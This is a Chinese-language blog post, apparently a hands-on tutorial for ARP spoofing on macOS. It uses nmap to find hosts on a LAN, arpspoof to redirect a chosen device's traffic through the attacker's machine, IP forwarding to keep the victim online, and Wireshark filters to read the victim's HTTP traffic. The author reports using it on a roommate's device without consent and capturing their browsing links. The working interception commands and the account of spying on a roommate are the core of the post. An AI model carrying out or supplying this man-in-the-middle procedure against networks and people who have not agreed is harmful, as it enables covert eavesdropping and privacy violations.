环境
- 操作系统: MacOS 10.13.4
- 包管理工具:MacPorts 2.4.4
- arp欺骗工具:arpspoof 2.4
- 抓取局域网内的IP地址的工具:nmap 7.70
- 抓包工具:Wireshark 2.4.3
前言
本来是想了解如何抢占带宽的,搜到了这么一篇文章:如何在局域网内抢带宽,里面提到了ARP欺骗,在网络管理课上貌似提到过ARP协议,乘机学习一下
ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。发送方用目标IP地址去换取了接收方的MAC地址,之后MAC地址存放到本地的缓存中(在一定的生存期时间内)。
而ARP欺骗就是:机器A的MAC地址告诉目标机B(目标机B在任意时候都可以接收ARP请求的应答),让目标机B 以为本机才是网关,这样B接收后就会更新本地缓存,以后所有本该走到网关去的包都会从机器A走,这样机器A就可以获取B的数据包了
假设C为网关,A为欺骗者,B为被欺骗者,之前是 B->C,而欺骗之后,B->A->C,如果A不进行数据转发的话,那么B就像是断网一样
环境搭建
先安装MacPorts,去官网下载即可,注意看好对应的MacOS版本,
安装完毕之后在命令行上输入 port
进行测试
port
如果说找不到指令,则在命令行或者bash_profile或bashrc中输入以下内容将其加入到系统路径中来
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
之后安装arpspoof
和nmap
sudo port selfupdate
sudo port install nmap
# 以下两条命令二选一,arpspoof都包含在内
sudo port install dsniff-devel
sudo port install dsniff
最后如果出现提示叫你执行以下类似命令的话请无视
port select --set python python27
执行命令进行测试
nmap -v
arpspoof
Wireshark直接去官网下载就行了
基本信息获取
需要获取以下数据
- 本机的IP
- 网关的IP
- 目标机IP
执行
sudo nmap -sS 192.168.1.0/24
等一会儿会得到类型下面结果
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-07 14:49 CST
Nmap scan report for 192.168.1.1
Host is up (0.0038s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
1900/tcp open upnp
MAC Address: BC:46:99:53:17:F6 (Tp-link Technologies)
Nmap scan report for 192.168.1.100
Host is up (0.026s latency).
All 1000 scanned ports on 192.168.1.100 are closed
MAC Address: 38:A4:ED:BA:DF:C8 (Xiaomi Communications)
.....
Nmap scan report for 192.168.1.101
Host is up (0.000028s latency).
Not shown: 848 closed ports, 151 filtered ports
PORT STATE SERVICE
8090/tcp open opsmessaging
Nmap done: 256 IP addresses (9 hosts up) scanned in 125.68 seconds
第一个192.168.1.1是网关地址,最后一个192.168.1.101是我本机的IP,而从第二个开始就是接入本局域网的其它机器的IP,就用第一个吧
攻击开始
arpspoof -i en0 -t 192.168.1.100 192.168.1.1
# 开启ip转发,否则的话对方机器会出现断网的情况,关闭的话把1改为0
sudo sysctl -w net.inet.ip.forwarding=1
开始Wireshark开始抓包,把filter设置为 ip.addr == 192.168.1.100
如果只想抓http的话就这样写 ip.addr == 192.168.1.100 && http
当时比较震惊的是抓到了室友看黄图的链接…
备注
对我的华为荣耀7进行arp欺骗时失败了,貌似是它有防护措施,多试了几次发现只有在其刚接入局域网的时候才能欺骗成功,但是想再次进行欺骗也没成功,对别的IP进行欺骗时也是失败次数多于成功的
目前https越来越流行,这意味着即使你抓到包了也不知道数据是什么,它在tcp之上添加了一层ssl,搜了一下破解的方法也只是定向的,泛用型不好,不过这样更安全也不错